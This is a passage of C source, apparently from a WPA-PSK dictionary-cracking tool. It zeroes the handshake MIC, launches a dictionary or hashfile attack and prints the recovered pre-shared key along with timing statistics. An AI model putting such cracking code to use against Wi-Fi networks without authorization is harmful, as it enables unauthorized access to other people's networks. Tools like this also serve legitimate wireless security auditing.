1011 /* Zero mic and length data for hmac-md5 calculation */
1012 eapkeypacket =
1013 (struct wpa_eapol_key *)&cdata.eapolframe[EAPDOT1XOFFSET];
1014 memset(&eapkeypacket->key_mic, 0, sizeof(eapkeypacket->key_mic));
1015 if (opt.nonstrict == 0) {
1016 eapkeypacket->key_data_length = 0;
1017 }
1018  
1019 printf("Starting dictionary attack. Please be patient.\n");
1020 fflush(stdout);
1021  
1022 signal(SIGINT, cleanup);
1023 signal(SIGTERM, cleanup);
1024 signal(SIGQUIT, cleanup);
1025  
1026 gettimeofday(&start, 0);
1027  
1028 if (!IsBlank(opt.hashfile)) {
1029 ret = hashfile_attack(&opt, passphrase, &cdata);
1030 } else if (!IsBlank(opt.dictfile)) {
1031 ret = dictfile_attack(&opt, passphrase, &cdata);
1032 } else {
1033 usage("Must specify dictfile or hashfile (-f or -d)");
1034 exit(-1);
1035 }
1036  
1037 if (ret == 0) {
1038 printf("\nThe PSK is \"%s\".\n", passphrase);
1039 gettimeofday(&end, 0);
1040 printstats(start, end, wordstested);
1041 return 0;
1042 } else {
1043 printf("Unable to identify the PSK from the dictionary file. "
1044 "Try expanding your\npassphrase list, and double-check"
1045 " the SSID. Sorry it didn't work out.\n");
1046 gettimeofday(&end, 0);
1047 printstats(start, end, wordstested);
1048 return 1;
1049 }
1050  
1051 return 1;
1052  
1053 }